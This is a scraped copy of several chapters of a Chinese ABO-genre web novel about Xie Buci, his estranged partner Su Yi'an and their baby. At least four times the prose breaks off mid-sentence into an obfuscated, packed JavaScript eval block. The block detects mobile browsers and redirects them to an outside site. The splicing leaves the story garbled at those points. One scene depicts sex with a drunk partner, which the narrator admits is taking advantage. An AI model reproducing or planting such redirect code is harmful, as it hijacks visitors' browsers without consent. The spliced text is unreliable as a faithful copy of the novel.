谢不辞抱着孩子在床头自言自语了半天,话题从苏以安还是喜欢他,知道因为他吃醋开始,跳到彩礼应该准备多少钱,婚礼什么时候办,都请谁过来。 中途还时不时询问一下孩子的意见。 问完了以后跟孩子大眼瞪小眼的沉默好几秒,然后觉得孩子听不懂又谁都不认识,跳过这个环节往下进行。 还准备搞父母爱情那一套,办了婚礼让自家孩子给当花童。 再然后,谢不辞就接到了他妈的电话: “谢不辞你别装死啊,没事了就赶紧滚回来上班,我在你公司呢。” 22. 第 22 章 到底消极怠工了几天谢不辞自己也不太清楚,于是应下马上过去以后,挂断电话他就立马给雪团换了衣服。 路上没用多长时间,差不多三点,谢不辞的脚就已经踏进了分公司的办公楼。 走廊里的人都神色匆匆的,讨论方案的围在一起扎了好几个小堆,办公层的打印机也没一个是闲下来的。 谢不辞走进自己办公室,看见他妈坐在他那老板椅上。 “把我叫过来是想说什么?” “上班啊。” 谢夫人拍了拍面前办公桌上堆起来那一小摞文件:“你看看你经营不善亏了多少钱,你兜里还有几个子够养活你儿子啊?” “你儿子得吃五千块钱一罐的奶粉你不知道吗?” 谢不辞把孩子放进婴儿车里,然后拿起那一摞账务往来的文件,顺手翻了翻:“我兜里这么干净,难道就只是我自己一个人的责任吗。” “那不然呢?难不成还怪我强买强卖?” 他妈说话,他一个字都反驳不了。 账目上有问题的地方不大,只是他不在公司的这几天好几个跟进项目都在亏钱。 分公司嘛,人均水平肯定是不高的,牵头的一个是谢不辞,一个是从他爸手底下派过来的老董事,董事年纪大了,所有工作都堆给人家,多少对带点力不从心。 总体问题不大,加几天班处理完了就好了。 “你自己的事情都自己处理,年轻人的私事,我也不愿意过分干涉,你放心。” “但是工作不能黄,这公司你必须运营好,因为你现在已经是孩子爹了。” 谢夫人离开以后,谢不辞才从秘书那里得知,他妈要是不过来这一趟,他们公司少说也得再多亏个千八百万的。 因为做风险评估的小姑娘刚转正,带她的那个总监请假了,盖章的审批的部门不懂这些,很多市场调研不合格的项目都差点被稀里糊涂的批过去。 秘书还说,其实给谢不辞发了好多消息,很多需要他过目的文件都有转给他请示过,但他不回消息也不接电话,就只能什么都拖着。 这样的情况,最容易招出居心不太纯的人了。 他妈很分得清主次,给一直跟着他的那个育儿嫂发了奖金,让人家在谢不辞加班的时候住客房带孩子,直到谢不辞把堆起来的工作都处理完。 然后挣到了钱,人就多多少少带点毛病。 比如干了那么多活已经很辛苦了,要是连犒劳自己一下把都舍不得,那命也太苦了。 谢不辞点开之前那三人小群,想爬楼看看蒋泽他俩又背着他说什么了,但刚点进去,就看见了一大串的@。 都是@他的。 到这谢不辞就已经暗戳戳猜到不会有什么好事等着他了。 他小幅度的往上翻了翻,然后看见了好几张图片。 图片里还是苏以安,不知道什么时候把发色从雾霾蓝换成了冰蓝色,比原先那个发色更能衬他那种出淤泥而不染的气质。 因为拍摄角度原因,只能看苏以安没被烟雾遮住的一半脸,而被烟雾遮住那一边,是某个谢不辞没见过的男人,在吻苏以安的喉结。 照片一看就是偷拍的,看不清那男人的脸,只能大概从骨相上分辨出是个外国人。 第一张照片就已经够开屏暴击的了,后面还有好几张,什么风格的都有。 比如那外国人跟苏以安在什么diy烘焙厅一块烤曲奇饼干的,两人一起吃同一块蛋糕的,还有什么黄昏时刻在街心公园散步的。 等谢不辞全都看完了以后,正好又有新的消息弹出来,是群里季文璟刚发的:[这个给老谢看是不是有点不太好啊?万一他蛐蛐人家什么不给咱俩看怎么办?] 谢不辞立马打字回复:[这有什么好蛐蛐的?人家俩人多甜啊,又能一起进酒吧,又能一块接地气的烤饼干,还黄昏时刻散步拍照,这要是再把雪团送过去,那简直模范性的一家三口啊。] 蒋泽:[看吧,我说什么来着,又疯一个。] …… 谢不辞又重新跟拿了显微镜似的把上边那图片看了好几遍,才咬牙切齿的打字:[图片哪来的,这男的谁?] 前几天苏以安还因为觉得他易感期喊医生来是要乱搞吃醋呢,这种明显的闹别扭赌气的行为,谢不辞也可以很大度的不介意…… 不是那么介意…… 去他妈的!照片看多了他都想去掐死那外国男。 [照片啊?不知道是谁偷拍的,但我们知道一定是故意想让你看的。] [是的,我们还有小道消息,说他俩下一站去逛超市。] [哦对了,苏以安那个朋友你知道吗,叫方什么的那个,他说苏以安前阵子吐槽你是个只会截胡的傻逼来着。] 谢不辞:[???] 他在圈子里规矩守得那么好,是出了名的有绅士风度,哪传出他只会截胡这种言论? 而且他除了截过苏以安,根本没正眼看过别人的马子…… 哦,苏以安骂的,那他没话说,因为确实只截过苏以安。 群里两人可能是没见过谢不辞吃醋,这热闹就不能看不上,于是善意提醒:[啊那个,逛超市是六点去,现在五点半,你出发正好能撞上。] 消息底下贴心的附了商场定位。 谢不辞从办公室衣架上扯了羽绒服套在身上,带着雪团和育儿嫂先回了趟他爸妈住的那个别墅,然后踩着限速线冲到超市。 可能是以前装惯了,这会觉得自己要捉奸气场不能输更是拽得二五八万的。 他来得确实刚刚好,在超市入口就看见了肩并肩推着购物车往里走还有说有笑的两个人。 苏以安染头发就这么一点优势,扔在人堆里根本不会追丢了。 谢不辞同样拽了个购物车,不远不近的跟着他们俩。 也许是缺什么很少自己买,对于逛超市这种事,谢不辞还觉得有点新鲜。 但这种温馨又有烟火气的事情,苏以安在跟别人一起做。 都是混迹夜场多年的,玩玩和认真到底怎么区分,他清楚,苏以安也不可能不知道。 跟着他俩的时间越长,谢不辞越觉得苏以安像是个抛妻弃子的渣男,明明有家室,孩子都有了,还能在外面跟别人过日子。 然后狗血的被家里那位抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108242|138214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个正着。 谢不辞点开小群,也没心思看他们上面到底说了什么,直接真诚发问:[我应该怎么做才能在不惹急老婆的情况下让那个外国男滚?] 因为一边走一边打字,谢不辞还差点把摆着促销零食的移动货架撞倒。 [我草他摸我老婆头发,凭什么!] [带我老婆买方便面,一看就不是什么好玩意,正经alpha能让老婆吃泡面吗。] [这玩意到底哪冒出来的!是不是后边就准备把我跟雪团扔下,然后追着这个狗东西私奔到别的国去了!] [……你妈的!大庭广众就敢亲,他不得比我还烂??] [还看婴幼儿产品?雪团是我儿子!我儿子!!!] [我草,这男的不会是想cpu苏以安生老二吧?这也太缺德了。] …… 谢不辞自认跟踪技术很好,一边跟群里吐槽一边也不忘给他俩配个图。 这边消息发着,另一边也没忘埋汰蒋泽他俩不中用,出主意速度太慢,然后成功收到了蒋泽几个字就让他闭嘴的金口玉言:[苏以安知道你在跟着。] 谢不辞:[不信。] 他跟踪技术这么好,怎么可能。 结果回完这条消息以后,因为一直低着头看手机,谢不辞连人跟丢了都没发现,找了一大圈都没看见,直到回过头。 苏以安和同行的那外国人都斜靠在酒水货架那一排,好整以暇的看着他。 注意到他的视线以后,苏以安还热情的跟他打了个招呼:“嗨谢经理。” “跟一路挺辛苦的吧?给我看看跟拍成果呗?效果好付你摄影费。” “什么玩意??” 这话侮辱性强到谢不辞甚至第一句话都没想起来质问苏以安旁边这男的是谁。 但他俩认识这么多年了,苏以安也不可能不知道他为什么而来,特别贴心的主动开口:“这是我在A国交的男朋友,看谢经理这样子也是挺想认识一下的。” “谁想认识了,你以为人人都照你一样眼光那么差吗。” “我们这样的小市民,跟谢经理这种一出生就含着口仙气的人是比不了。” 这话到底在阴阳什么,谢不辞甚至都听不明白,可苏以安根本不给他反应的时间,从购物车里翻出了对比了半天的奶粉,放进了谢不辞一直推着的那车里。 “奶粉买得勤一点,雪团娇气,他总喝同一种会腻,他真饿到去医院也绝对不再吃之前那种。” “走了,回见哈谢经理。” 谢不辞看一眼奶粉的空,苏以安就已经带着那外国小情人走了好几米远。 追肯定是追不上了,也没什么必要。 要一起生活,逛超市那肯定是要买菜的,不然不为了做饭来逛什么劲,苏以安没那个意思肯定就只为了走个过场,没准主要目的还是给儿子没买奶粉。 这谁重谁轻不就一目了然了吗! 雪团是谁儿子根本不用多说。 苏以安玩过那么多人,什么样的老板没见过,各种类型的男大学生也不是没谈过,为什么只愿意给他生孩子,那不就摆明了是爱他吗。 23. 第 23 章 谢不辞给苏以安塞进他购物车里的几罐奶粉结了账,回自己车上才又重新点开小群。 本来想问他俩知不知道苏以安后面要去干嘛,结果字还没开始打就看见了蒋泽回复他说大庭广众就敢亲的那条消息。 [所以你的意思是,你看着人家大庭广众就敢亲,然后你键盘都快敲出火星子来了,也没冲上去把他俩分开?] …… 原来这个世界上,还可以有这么恶毒的文字。 可能是看他没回消息的时间有点长,蒋泽怕他真受打击,现在又@他发了条新消息:[告诉你个好消息,你照片里那哥们是A国max bar酒吧的主唱,是那酒吧的头牌。] 换句话说就是,男模。 早这么说不就好了吗,非得之前弄得所有人都不高兴。 谢不辞回了个表情,紧接着还没想好要回什么,就见季文璟立马补刀:[补一个坏消息,头牌哥上个月就辞职了,这次是专门为了找苏以安才过来的。] 好消息:男友哥是头牌。 坏消息:头牌真有可能已经成男友了。 谢不辞深吸一口气,熄了屏幕把手机扣在旁边副驾的座椅上。 要不这俩人能跟他玩一块去呢,他们仨都是一个型号的嘴贱外加看热闹不嫌事大。 他没再看手机,把车开回了别墅,接上孩子又回了自己家。 谢不辞带着雪团上了15楼,而后也没着急进自己家门,在走廊里找了个小旮旯就坐。 他就不信带着孩子坐苏以安家门口,苏以安还能爱答不理的。 在等人回家的这段时间里,他还专门又安排人去查高中那会都谁欺负过苏以安。 知道不好查,但谢不辞也做不到就这么任事情过去。 如果他真的对发生了什么一无所知,这些过往一定会在未来某个时间节点,因为一些微不足道的小事成为导火索,触发一场根本没法收场的战争。 等到那个时候,雪团就肯定无可避免的,只有一个爸爸了。 走廊里安安静静的,谢不辞没刻意制造声音让声控灯亮着,雪团也不知道什么时候在谢不辞怀里睡着了。 他把厚外套脱下来裹在孩子身上,只给露出了半张小脸呼吸用,随后还因为怕走廊里不暖和把孩子抱的更紧了些。 时间过得很快,快到谢不辞甚至觉得苏以安回来得不算晚。 但苏以安带着一身寒气站在谢不辞面前时,已经晚上九点半了。 “大晚上的,都到家门口了干嘛还不回去?” 谢不辞抬头,确定了苏以安身上没沾染什么乱七八糟的信息素气味才放心了些许。 本来想回一句在等你,但他这个人就属于嘴上绝对不饶人那型号的,于是话出口就变成了:“这不是想看看你有没有把你那外国小男友带回来吗。” 他阴阳,苏以安只会比他更阴阳。 从他俩一开始认识的时候就这样,不然也不至于学校那么多人,偏偏他俩天天打架。 “怎么着?谢经理还有专门在墙角听人活春宫的癖好呢?” 苏以安说得满不在乎,好像谢不辞因为这话生气就是他不够大度。 “话怎么能这么讲呢,你不应该隆重的介绍你孩子爹和男朋友认识一下吗。” “你要不听听你在说什么呢?” 介绍孩子爹和男朋友认识,好小众的语言。 这下谢不辞真的淡定不了了,刚坐在走廊发呆脑子里酝酿出的满肚子话现在出口,连顺序都顾不上了。 “你又不是不要雪团了,现在是在搞什么啊?” “你有养活自己的手艺,也有上进心,甚至都已经决定好了要在A国发展,为什么还能放任社交圈子里有这样的人?” “你所谓的那男朋友他真的靠谱吗,他是头牌,是男模,这种人你该见多了才是,海王从良这种鬼话也能信吗?” 话音落下就是长久的沉默。 声控灯暗下去以后,走廊里就只剩下一站一坐两道被灯光拉长的影子。 苏以安开口回答的声音很轻,轻到谢不辞恍惚以为,这又是某次喝了大酒以后,苏以安把他当成朋友在他耳边自暴自弃的讲都受过什么委屈。 “我就是不要雪团了,他的户口信息那里没录入任何跟我有关的东西。” “我与头牌,本身就是一样的人,我也不是什么好玩意。” “我遇上的最靠谱的人就只有我爸。” “这么多年,我主要来钱的渠道一直都是夜场,这种地方,谈真心不可笑吗,海王从良向来无稽之谈,所以我不信他,也不会信你,你们本质上没什么区别。” “趁我还没觉得雪团也许能有更好的归宿,带着孩子滚回对门去。” 他上面说的每一个问题,苏以安都认真给了回答。 不知道是不是因为刚才的动静没把雪团吵醒,他们两人谁说话都说的小心翼翼的。 就算这场交流并不愉快,就算出口的话都故意在往对方心窝子上戳,带着一定要两败俱伤的架势,他们也都只用确保对方能听清的最小音量。 苏以安没再理他,站在门前输好密码就自顾自的进了家门。 “等一下。” “你打算什么时候离开……” 谢不辞自己也说不清自己问这话到底是在期盼什么。 他能隐隐约约的感觉到,常规的追人手段留不住苏以安,苏以安很难听话安静的待在你画出来的条条框框中。 问题在出口以后,他居然能冒出,哪怕苏以安决定抛弃孩子了,只要人还愿意留在这座城市也好的想法。 可回应谢不辞的,就只有冰冷的关门声。 谢不辞抱着孩子进了自己家门,然后把雪团放在卧室床上,给脱掉沉重的衣服,又盖好被子才一个人去外面阳台坐了会。 经历的事情太多,总会让人身心俱疲。 就单单只是这一刻,谢不辞都觉得比雪团刚被送到他家门口那会还让人心累。 第二天谢不辞照常带着雪团去上班,只是每天刚到公司还多加了个习惯:问秘书他们高中那会的事情,有没有查到什么新东西。 虽然有心理准备不管问多少次,答案大概率都是没有,但谢不辞依旧不死心。 今天工作上主要对接的老板姓张,是个已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108243|138214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五十三了的老滑头。 对方是餐饮行业巨头,近几年因为扩展了不少旅游景区业务,也挣了不少钱,所以几乎每次拉投资底气都很足。 但谢不辞对他的印象主要是……这是当时快高中毕业那会,包养苏以安的第一个老板。 苏以安之前也说过,被下药,被绑架和被包养,是三件事。 这线索不就送上门了吗。 与张老板约的会谈时间是上午九点,两家之前一直有合作,这次算是谢不辞他爸专门留给他的大单子,他今天早上刚到公司那会还看见他爸专门给他发消息来着。 让他好好招待人家老板,老板很有诚意,他也不能怠慢。 因为没怎么挨过社会毒打,谢不辞不太懂生意场上那些弯弯绕绕,对人最高的礼仪好像也就只到尽量说话委婉一点了。 他在办公桌上整理好这次会谈需要的资料,然后秘书通知他张老板已经在会议室等他了。 开个小会走走流程,然后中午定个好点的饭店一起吃个饭假意寒暄几句,也就差不多算是结束了。 需要开会的内容其实不多,但双方都专门腾出了这一上午的时间,磨也得磨到吃饭点才能走。 以至于谢不辞在会议室待的都有点犯困。 中午吃饭的地点定在了某个高档海鲜主题餐厅,人不算多,也挺安静的。 只有两个老板各自带着对方的秘书。 等菜都上齐了,商业互吹的话也都说过两圈了,谢不辞都酝酿好要开始盘问当年张老板包养苏以安的具体细节了,不出意外就一定的出点意外。 最后过来开酒倒酒的,是苏以安。 挺神奇的,以前互相看不惯见面就打架的时候,想专门找人都找不着,现在越不想见越能打照面。 “祝谢老板财源广进。” 苏以安给谢不辞倒酒的时候,也不知道是不是流程必须要走,反正吉利话说得面无表情:“祝张老板生意兴隆。” 这边谢不辞原打算让他倒完酒就赶紧出去,却不成想他话还没出口,那张老板的手就已经攀上了苏以安都腰。 苏以安也没拒绝,顺势坐在了张老板的腿上。 一整套动作,全是当着谢不辞的面完成的。 “张老板您这……” “哦,介绍一下,小苏六年以前开始跟我,添双筷子的事,这次就算记我个人情,下次张叔叔请你。” ……要真是添双筷子那么简单的事就好了呢。 也许是谢不辞那欲言又止的表情太明显了,以至于苏以安又先他一步开口:“老早就听说,谢老板和张老板是多年的合作伙伴了,我敬您一杯,就当是交了个朋友。” 苏以安端起刚倒好的酒,仰头一饮而尽,没给这谢不辞一点拒绝的机会。 这下谢不辞的表情更难看了。 苏以安有这样的反应他一点也不意外,毕竟以前苏以安在长辈面前就是这么装的,向来维持着一副温顺懂事又弱不禁风的人设。 他就像是明知道谢不辞对他有比较特殊的感情,还故意要谢不辞难堪一般。 谢不辞把酒杯往前一推,冷声道:“不喝。” 24. 第 24 章 苏以安跟了张老板这么多年,理论上来讲,都已经被带到应酬上了,他敬酒就约等于张老板敬酒,出于礼貌这酒谢不辞也该喝。 但他就是非要较劲。 因为他觉得,苏以安说原先那些话的时候那么大怨气,当年选择跟着张老板肯定有一定是无奈之举的因素在。 而且张老板也不一定对他有多好。 所以这个节骨眼上两人凑到一起,八成就是苏以安对张老板有所求。 “这是介意叔叔带伴过来啊?圈里很多老板都认识小苏,这也不是叔叔第一次带他出来应酬。” “你放心,绝对没有一点轻视你的意思。” 谢不辞勉强扯了扯嘴角,把自认为不尊重长辈且戾气极重的话都咽了回去。 前阵子在宴会上,他不由分说的扔下一句苏以安是他儿子爸爸就把人带走,闹得沸沸扬扬的,圈里人尽皆知,现在还能喧宾夺主的跟他说这种话,不就是故意揣着明白装糊涂呢吗。 他喊别的服务员进来开了瓶新酒,然后拿起旁边倒扣着备用的酒杯,给夹在他跟张老板两人中间的苏以安倒了一杯,还把酒瓶放到张老板手边。 暗示到这份上,早就变成了双方老板暗戳戳较劲,然后把苏以安架起来。 因为看起来是二选一的问题,但其实没有特别拿得出手的答案。 就算两杯都喝,先端谁倒的也会成落人口舌的话柄。 况且现在这种立场,也没有苏以安不喝的道理。 苏以安始终维持着礼貌得体的微笑,他哪杯酒都没碰,直接拿起酒瓶,当着两人的面,仰头把瓶中根本没倒出去多少的酒一饮而尽。 谢不辞脸色愈发难看,苏以安放下酒瓶的瞬间,他连失陪这种客套话都没顾上说一句,就粗暴的拽着苏以安的手腕,把人从包间里拉出去。 因为觉得卫生间这种地方算不上谈话的好场所,谢不辞就带着他找了个走廊里的小拐角。 “你……” “不得罪老板的合作伙伴,是圈里小情人的第一堂必修课,小苏同学应该不会不知道吧?” 也就只有在这种时候,苏以安跟他说话才不至于句句夹枪带棒的。 “你想跟我说什么?” “你有什么事需要求张老板?你不能跟我说吗。” 谢不辞这句话几乎是脱口而出的,自然也说得理所当然,所以苏以安开口反驳的以后,他愣了好几秒才接上下一句话。 “我们很熟吗。” “那你跟他就很熟了?他那岁数夸张点恨不得都快成你爷爷了,你跟他能有什么好说的?” “这跟你没什么关系吧。” 苏以安没反驳他前面问有什么事需要求老金主的话,反而避重就轻的扯开话题来呛他,那就说明他猜得没错。 是遇上了什么自己和朋友加在一起都很难解决的困难。 “他能做的,我也能。” “那你先把上次易感期那几天的钱先结给我。” …… 不说还好,说完谢不辞更摸不着头脑了:“你找他就是因为缺钱?” “不是啊,是因为我看你挺像冤大头的,我觉得你八成花点钱就老实了。” 苏以安语气挺真诚的,甚至这话说得还挺一本正经,连带着谢不辞问出来的问题都未经思考:“那花完以后呢?” “你这种的,看起来像是治好了也会流口水的。” 谢不辞没理会他明里暗里的埋汰:“难道在你心里我们还成金钱关系了?” “本来应该是你情我愿的身体交易关系,你这么问完,不就不想给钱白嫖一样吗。” 大概是聊到这就觉得他们俩已经没什么好说的了,苏以安挣开谢不辞攥着他手腕的手,扔下一句你俩慢慢谈,就顺着楼梯走下去离开了饭店。 谢不辞站在原地琢磨了半天,也没想明白到底是事情本身见不得人,还是苏以安就单纯的信不过他不想让他知道。 回了包间,谢不辞看见桌上菜已经上得差不多了,他不在的这段时间里张老板也已经吃得差不多了。 对方见他进来,还招呼他过来坐,换了双筷子往他刚才坐得那位置前面的碗里夹了两块拍黄瓜。 “坐下先吃饭。” 搞不明白这拍黄瓜有没有什么更深层次的意思,谢不辞坐下就没了下一步动作。 “怎么?没谈妥啊?” “跟小苏说完,就没什么想跟我说的?” “你放心,张叔叔不是什么公私不分的人,生意是生意,后面要说的,咱们单算。” 谢不辞自知他所有弯弯绕绕的心思在这种社会层次的人面前,都相形见绌,所以有话自然直说:“我方便问一下,他是因为想求您办什么事才找您的吗。” “想说他找我办的事,找你也一样能办?” “在他眼里,你这话说出来就是幸灾乐祸,不管你有没有这个意思,他都会曲解成你想看他的笑话,所以你们是什么关系?他凭什么要跟你开口?” 就两句话,针针见血,让谢不辞找不到一点反驳的余地。 “见面三分情,他也跟过我,既然事情已经向我开口了,你就不要再过多插手。” 说到这就像忽然点醒了谢不辞一般,他拿起挂在椅背上的西装外套,客套的打了个招呼,然后跑下楼把账结完,找了个安静的地方拨了季文璟的号码。 谢不辞以前没跟张老板有过什么接触,从刚才那不多的相处中也只能隐隐约约感觉到他态度有点奇怪。 在谢不辞幼稚的想宣誓主权的时候,他在暗示苏以安是他的私有物,可在明知道苏以安在外面玩出个孩子的前提下,苏以安再去求他帮忙,他一样没有拒绝。 还反过来警告谢不辞别多管闲事。 这本身就不对劲。 而他又是包养苏以安的第一个老板…… 电话响了很久才接通,季文璟那边似乎是被吵醒的,连说话都无精打采的:“你这个点打什么电话?” “你觉得,之前一直不让查苏以安是被谁绑架还罩着你爹的那个老板,会不会是做地产生意的那个张老板?” 季文璟愣了一下,随后沉默了好几秒,才重新开口。 “应该不会吧,大老板出面平事,又要人情又要利益,我爹能给的起啥?” 表面上看起来凤凰男一无所有,但如果是有了新欢又想对苏以安物尽其用,把苏以安送出去讨好大老板,似乎也不是说不通。 而且苏以安确实很上道,既能演好乖顺,又能恰到好处的兼顾风情,为了达到目的可以把颜值属性点利用到极致。 他能在富人圈以小情人的身份站稳脚跟,还能做到给谢不辞生了个孩子闹得这么轰轰烈烈的却没被任何一个老板找麻烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢不辞不记得雪团是什么时候会说小短句的,只知道最开始孩子就很聪明,他说的大部分内容都能听得懂。 可孩子很少和他交流,不知道是天生不爱说话还是跟他没有跟苏以安熟。 反正谢不辞对雪团的大部分印象,都是安安静静的自己拿着小玩具玩。 中午从饭店离开以后,下午谢不辞就没准备再去公司。 结果就翘半天班,他爸的电话就正正好好的打进来,像给他办公司装了监控一样,电话接通以后的第一句也不出所料的是工作。 “明天晚上有个慈善晚会,你记得今天把大大小小的事情都处理完,时间腾出来。” “慈善晚会跟我有啥关系啊,我不去。” 本来上班就烦,搁自己家干,他都是老板了,还被亲爹打电话薅起来加班,哪有这样的道理。 “哦,不愿意去啊?那我邀请函上就不加你名了。” 谢不辞有些疑惑的看了一眼手机屏幕。 这也没错啊,是他爸的私人电话,不是工作号不是秘书打来的,能这么好说话? “真不去?苏以安也在。” “去去去,别听我胡扯,我这么有爱心的人绝对不可能缺席,况且这种既能见世面又能拓宽人脉的好项目,错过得是多大的损失……” “少扯鬼话。” 谢不辞一点也不意外他爸会说点什么堵他,反倒是再不给他堵回来他就真没词了。 他就说吧,真有特别重要的事他爸只会怕他搞砸了或者惹事,让他躲远点还来不及呢,根本不会上赶着把他喊过去。 如果这种晚会苏以安也在的话,那他也大概猜到了苏以安想求张老板什么。 钟家一定还对苏以安有压榨。 25. 第 25 章 慈善晚会这种项目,企业家来做大多重点都在拍卖,没什么意思,大多都在阿谀奉承逢场作戏。 所以除了自己家办,谢不辞从没关注过这种活动。 但这次不一样。 毕竟他不愿意去,苏以安也不可能愿意,所以既然是被迫的,他怎么可能放弃这个在老婆面前表现的机会。 今天谢不辞没迟到,临进宴会厅之前,还给小群里发了消息:[有没有愿意来慈善晚会上找我的,v我五百车费我勉为其难的让你们见一见。] 蒋泽没说话,季文璟给他敲了个问号。 本来就是嘴欠才发的消息,谢不辞也没准备得到什么有营养的回复,退掉聊天界面之前,余光好像看见谁回的消息里带了一个沈字,他又专门倒回去看。 原话是:[你还真去了?我就知道,沈伊家办这种活动,还点名要请苏以安,肯定少不了你。] 这下换谢不辞敲问号了。 他之前还真的不清楚参加活动还需要问谁家是主办方,他一直以为进去长一张嘴就吃,人到场面子给足就行了呢。 谢不辞回了消息:[我人都到这了,你小子给我把话说明白了,别让我进去丢人。] 季文璟敲字速度挺快的,发消息的速度甚至能赶上谢不辞接收信息的速度。 [前阵子钟家不是想用苏以安找个联姻对象吗,你当众把苏以安拽走,还说雪团是你俩的孩子。] [当时钟家拿这个明里暗里的埋汰了你们家很久。] [然后苏以安那个名义上的亲爹看上了沈家某个大药厂,想合作但缺个踏板,正好沈伊想娶苏以安是真的,这次肯定牵线呢。] [成了的话,按这两家掌权人的行动速度,我觉得只要苏以安点头,他们甚至可以当场下订婚宴的请柬。] 谢不辞看见消息以后立马换了一副正经的表情,还对着走廊里那玻璃镜整理了下西装衣领。 苏以安很有原则,之前也当着他面说过了,不玩老实人。 所以这种事情,当事人不可能点头。 那不就变成了他去见情敌了吗,面子上肯定不能输。 谢不辞推开宴会厅的门,往里走了一小段路才看见靠近拍卖台的那一排座位底下坐着钟家家长和主办方沈家。 沈伊和苏以安挨着坐。 苏以安用黑色一次性染发剂盖住了原本的浅色头发,也没刻意做什么造型,穿着没那么正经刻板的白色西装,端着酒杯谁跟他说话都笑着应和。 看起来挺乖的。 自高中毕业以后,苏以安对自己的打扮都偏张扬,穿摇滚风的衣服居多,首饰也带华丽款的,骨钉和重工链条那种。 谢不辞很久没见过这种形象的苏以安了,他甚至都有点不敢认。 座位那边本来有人围着说些什么,但看见谢不辞,不相关的宾客立马离开,绝不多看热闹。 忽然安静导致沈伊他爸立马就注意到了站在他们身后都谢不辞,随后对着苏以安开口:“既然都商量妥当了,那小苏这边是不是也该把私事先处理干净了?” 苏以安起身,绕开一大堆给后面拍卖准备的座位,走到谢不辞身前,犹豫着开口:“我……” “不用敬,我没酒,你可以直接说。” “哦对了,我不听你大庭广众之下的违心话,你单独跟我说。” 从刚才开口的是沈伊他爸开始,谢不辞就已经有预感接下来没什么好话了。 但好不好的先抛开不谈,那一定是违心话。 苏以安似乎没料到他会这么说,先是迟疑了一下,然后回过头看像身后那一排人。 没人开口,最主要的是没人阻止。 苏以安那名义上的爹一直看不起谢不辞他们家,但看不起是一方面,面对面必须给谢不辞留余地又是另一方面。 随后苏以安沉默着把酒杯放下,然后拉着谢不辞离开宴会场。 “我说完就走,我好好说话,你也别搞得所有人都难堪。” 谢不辞几乎是立马应下。 之前有无数个细节在向他证明,苏以安从来不是逆来顺受的性格,他不愿意接受的事情,你把他脊梁骨戳断了他也不会做,所以现在绝对是有难言之隐。 “我从来没跟张老板睡过,他包养我,是因为我是他遇上的最能满足他癖好的玩具,我也足够听话,他愿意施舍给我些什么继续维持这段关系。” “你知道的,我的户口不在我自己手里,我爸还没去世的时候,他们就能不由分说的把我变成他们家法律意义上的孩子,这会也一定有的是方法不经过我本人就能让我变成已婚。” 苏以安说得很平静,从语气中听不出情绪起伏,仿佛他陈述的只是一件与他毫不相干的事情。 “我不想到了A国再因为是黑户天天进去喝茶,所以才再找张老板,他答应我会替我处理好。” “你还有什么想问的吗。” 谢不辞不知道该怎么开口。 他可能还是更习惯苏以安骂他的那副样子,有什么说什么,从来不考虑会不会得罪人,也丝毫不掩饰对他的厌恶,从不向他低头。 现在……有点梦回苏以安怀着雪团离开他之前,怪像亡妻回忆录的。 “所以答应只是为了拖着?” “嗯,我不可避免的承认,沈伊确实是有这个意思的,与其等着我那外姓的爹不经过我给我俩领证,还不如我就温顺一点。” “起码可以省去让人家莫名其妙变成二婚的麻烦,你说呢。” 谢不辞接不上这个话。 他说得清醒克制,考虑了方方面面,不光为自己,也为可能被他牵连的人。 那就说明,他是真的铁了心要离开了。 “我能问问你求张老板的代价吗。” “老板癖好,不能乱讲。” 他俩除了刚认识的时候,几乎从来没这样心平气和的好好说过话。 没有阴阳怪气,问什么答什么。 “你确定你真的没得什么治愈率很低的小众疾病吗,我总感觉你……” 前半句话刚说完,谢不辞就感觉自己肩膀被推了一把:“不是?跟你说人话你听不习惯是吧?” “咱俩到底是谁有病?” 虽然但是,现在听起来就对劲多了。 “可是我是为了你才来的。” 说这话之前想表达什么,谢不辞也不清楚,他不太会煽情,而苏以安也确实不领情。 “闲的没事就滚回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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没什么照顾醉汉的经验,谢不辞干什么都手忙脚乱的。 他的衣服给苏以安穿,宽了一大圈,看起来起码塞下两个苏以安都不成问题。 而且对方也没醉到不省人事那个程度,谢不辞就出去给他倒杯水的时间,一回头便看见衣服堪堪挂在身上的苏以安。 衬衫从肩头滑下去,领口松松垮垮的,露出大片胸口皮肤。 他也不说话,就只站在门口看着谢不辞。 谢不辞走过去,他就伸手抱住谢不辞,随后脑袋在他领口处蹭了蹭,看起来只是想要点信息素。 但事态发展好像有点不太受控制。 谢不辞伸手揽住他的腰,他都没什么反应。 知道这样趁人之危挺禽兽的,但这种时候很难用脑子思考。 解释不解释与吃醋不吃醋毫无关系,更何况还有谢不辞在走廊里受冻的那好几个小时的怨气在。 …… 苏以安第二天早上再睁眼的时候,脑袋疼的好像要炸开一般。 他强撑着坐起来,看见身上斑驳的痕迹先是蒙了一下,随后注意到周围陈设,才反应过来怎么回事。 他没有昨天自己是怎么回来的记忆,但他记得谢不辞问能不能在走廊等他。 他偏过头,正好看见从被子里爬出来的谢不辞。 “……我喝成这样你都下得去手?” 